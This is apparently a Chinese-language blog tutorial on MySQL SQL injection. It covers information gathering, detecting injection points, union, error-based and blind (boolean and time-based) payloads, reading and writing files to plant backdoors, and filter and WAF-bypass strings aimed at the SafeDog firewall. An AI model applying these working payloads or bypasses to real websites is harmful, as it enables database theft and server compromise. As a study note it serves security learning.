• sql注入漏洞

目录

sql注入漏洞

信息搜集:

方法

1.判断是否存在注入点

2.数字or字符or搜索

3.提交方式

4.判断注入姿势

5.玩法^_^

补充知识:

绕过过滤

其他数据库


信息搜集:

搜集数据库的操作系统(windows or linux涉及的内容不同),数据库名(不同语言),数据库用户(权限),数据库版本(不同语言,姿势),网站路径(网站源码放在何路径)。

数据库版本:version() 获取版本以及数据库系统

数据库名字:database() 当前所在数据库的名字

数据库用户:user() 当前用户

操作系统:@@version_compile_os 操作系统

信息搜集下的问题处理:


版本问题

数据库语言基本差不多,语法上有区别。

1.查询方式:mysql5.0版本以上定义了一个information_schema而5.0以下版本没有,则说明5.0版本以下查询猜、暴力查询(无据),而5.0以上通过有据查询。

2.写文件权限:在 MySQL 5.5 之前 secure_file_priv 默认是空;      在 MySQL 5.5之后 secure_file_priv 默认是 NULL。

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+空白地方的值NULL   不允许导入或导出
/tmp    只允许在 /tmp 目录导入导出
空       不限制目录

3.不同的数据库,使用的操作语言不同,注入的姿势也不同。

数据库用户权限

低权限查询密码,找后台登录,高权限写后门。

1.跨库查询:具有最高权限的用户才有权限跨库查询,即好几个网站的数据库写在一起,可以通过一个的权限,去查其他的。

2.文件写入:高权限用户具有写入权限。(一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。)

网站路径

路径获取方法:网页出现错误泄露路径,通过扫描工具获取路径(如看看有没有扫描出phpinfo),知道对方是什么程序搭建而去搜索该程序的爆路径漏洞

1.通过sql语句,将文件写入相关路径。(还涉及到路径是否允许写入文件的权限。)

系统问题

1.在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。

数据库名

1.知悉数据库结构,层次。

数据库的结构

information_schema.tables            #information_schema下面的所有表名information_schema.columns        #information_schema下面所有的列名

information_schema.schemata      #information_schema下面所有的数据库名

schema_name                               #查数据库中的数据库名所用到
table_name                                    #表名
column_name                                 #列名
table_schema                                 #数据库名//选择数据库时所用到


方法

1.判断是否存在注入点

即是否被带入查询,查不到页面不会报错,但是如果不是数据库查询,则会因为找不到网页而404报错。

SELECT * FROM users WHERE id=1aaaaaaaa(随便输入) LIMIT 0,1

2.数字or字符or搜索

数字可包含引号括号,字符一定包含引号(单引号和双引号其一被另外一包含不会报错,而正确注入不能有杂乱符号,细品),括号不确定。

单引号注释--错误--双引号,单引号双引号,单引号双引号括号,单引号括号,双引号括号,双引号多括号,多引号多括号。
单引号注释--正确--单引号

搜索型:select * from user where id like '%haha%';  haha为写入的参数,注意注释括号及后面引号

3.提交方式

GET,POST,REQUEST,HTTP头,COOKIE

http头中请求的位置无法确定,关键是要判断注入点,即什么位置的信息被查询然后回回显在网站上,并且当其被修改后网页不会报错。

4.判断注入姿势

回显or无回显

有回显(闭合--order--union)即select语句


无回显: 根据页面的环境判断查询方式

注册,添加用户:insert into news(id,url,text) values(2,'x','$t')     //在两个引号之间用or连接,并且闭合引号     例如     insert into news(id,url,text) values(2,'x','xiaoyu' or 语句 or '')

删除用户           :delete from news where id=$id

修改密码           :update user set pwd='$p' where id=2 and username='admin'  //$p在前面所以要注意不要注释

为了能使爆出信息,用盲注

报错注入:(为单独语句)
updataxml、extractvalue函数       updataxml( 1, b, 1);

b通常为concat(0x7e,(select version()),0x7e)    //即用到了updataxml函数与cancat函数

逻辑注入:
http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+   看页面是否回显正确

延时注入:
if(语句,1,sleep(2))


补充:逻辑注入、延时注入函数

length(database())=8                 #判断数据库database()名的长度

substr($x,1,1)和mid(a,b,c)         #第一个1为起始位置,第二个1为长度

left函数    left(database(),1)       #left(a,b)从左侧截取a的前b位

ascii(a)=65和ord(a)=65              #为了用ASCILL值缩小范围

5.玩法^_^

  • %3D是=(base64加密)
  • 二次注入,常出现在注册已被注册账号然后修改密码,然后改原账号密码

补充知识:

文件读写

文件读写

读:load_file()

select load_file('C:\\haha\\tianyu.php');

写:into outfile或者into dumpfile()

select into outfile 'D:\\haha\tianyu.php';

绕过过滤

1.绕过代码层(即为代码审计层面)

  • 大小写绕过
  • 双写
  • 使用编码
①url编码
在get方式上可以通过二次编码绕过
②16进制编码
对单个    id=-1 /!u%6eion/ /!se%6cect/ 1,2,3
对整个    SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))selectcolumn_namefrominformation_schema.tableswheretable_name=0x7573657273
对字符串编码在前面需要加0x
  • 注释绕过     (普通注释U/**/NION 和 mysql特有的/!union/)
  • 等价函数         或者不同方法切换(例如ascii码变为直接查字母)
concat_ws()==>group_concat()
SELECT CONCAT_WS('~',username,password) FROM admin;

针对绕过,空格可以用括号或者/**/绕过,引号用16进制编码

魔术引号:宽字节绕过*、多重url编码*


2.绕过安全狗

  • %0a与注释符联用以及内联注释        //部分waf遇到%00截断,只能获取到前面的参数
%23a%0aunion%23a%0aselect 1,2,3 from users
%20/*!44509union*/%23x%0aselect  1,2..
1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23a%0aselect%201,2,3d
  • 修改代理白名单        X-forwarded-for
  • 静态资源欺骗
    http://127.0.0.1/sql.php/1.js?id=1
    备注:Aspx/php只识别到前面的.aspx/.php,后面基本不识别。
  • 爬虫等                       User-Agent欺骗

其他数据库

access,mssql,oracle

Web TOP10漏洞之sql注入相关推荐

  1. web基础漏洞之SQL注入漏洞

    先看菜鸟教程中HTTP的知识,HTTP是为了保证客户端与服务器之间的通信.HTTP的请求方法有两种:GET和POST.GET是从服务器上获得数据,POST是向服务器传递数据. Web 程序三层架构: ...

  2. WEB漏洞攻防- SQL注入原理、判定方式、过滤及修复

    文章目录 SQL注入漏洞原理 结合简单的代码案例分析SQL注入漏洞是如何产生的 判断是否存在注入 最原始的判断是否存在注入的方式 传入的字符对页面内容存在影响极有可能存在注入 如何过滤.修复SQL注入 ...

  3. 小迪安全第14天 web漏洞,SQL注入之类型及提交注入

    14 web漏洞,SQL注入之类型及提交注入 ​ 在真实 SQL 注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取, 后续安全测试中我们也 ...

  4. 漏洞解决方案-SQL注入攻击

    漏洞解决方案-SQL注入攻击 前置知识 修复方案 代码参考 前置知识 SQL注入攻击,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. ...

  5. 米斯特白帽培训讲义 漏洞篇 SQL 注入

    米斯特白帽培训讲义 漏洞篇 SQL 注入 讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 原理与危害 SQL 注入就是指,在输入的字符串中注入 SQL 语句,如果应用相信用户 ...

  6. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  7. 【转】基于SQL的Web系统安全防范——SQL注入漏洞

    攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...

  8. web漏洞之sql注入

    SQL注入 SQL注入简介 检测手段 防范措施 burp suite安装sqlmap插件 SQL注入简介 Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执行,导致参数中的特殊字 ...

  9. 13 WEB漏洞:SQL注入之MYSQL注入

    1.SQL简介: SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统-.SQL 语句用于取回和更新数据库中的数据.SQL 可与数据库程序协同工作,比如 MS Access.DB2.I ...

最新文章

  1. VB.NET循环体内的局部变量
  2. 西游东去 (~~创意?创新?恶搞?不置可否,不过有点意思)
  3. iOS 里面如何使用第三方应用程序打开自己的文件,调用wps其他应用打开当前应用里面的的ppt doc xls...
  4. 【Linux】 诊断工具-strace
  5. UVA11582 Colossal Fibonacci Numbers!【快速模幂+数列模除】
  6. Windows 环境变量的两点说明
  7. 包装应由厂家回收利用
  8. 关于CC2541蓝牙开发板的学习笔记
  9. sql 验证身份证号码
  10. android app内动态获取apk签名md5,与keytool获取的一致
  11. unity编辑器扩展篇-中文字段显示
  12. 微软服务器系统2018,升级微软2018 Windows10 四月正式版17134(1803)系统的多种方法...
  13. 主动式PFC与被动式FPC浅析
  14. 苹果手机微信端打开网页长按保存图片可以唤醒但是点击保存、发好友无效
  15. Socket 和 ServerSocket
  16. Matlab如何安装并使用Robotics 机器人工具箱
  17. Linux终端关机命令
  18. 关闭windows安全警报_win10中使用这三招,完全关闭微软杀毒软件Defender
  19. Inter SIU520 Log阅读
  20. Crack看雪论坛加解密的一个破解案例程序

热门文章

  1. 公司合伙人股权的进入和退出机制
  2. 微信/微博的图片处理?-android酷炫图片处理(下)
  3. 串级PID 位置环+速度环
  4. 基于浏览器的Linux
  5. Tennessee Eastman(TE过程)简介
  6. 51单片机按键消抖方式总结
  7. 脑裂产生以及解决办法(转载)
  8. 搜狗微信为什么搜不到服务器,搜狗微信搜索平台公众号(订阅号及文章内容独家收录的方法)...
  9. HMS Core音频编辑服务音源分离与空间音频渲染,助力快速进入3D音频的世界
  10. 【操作系统】实验六 系统内存使用统计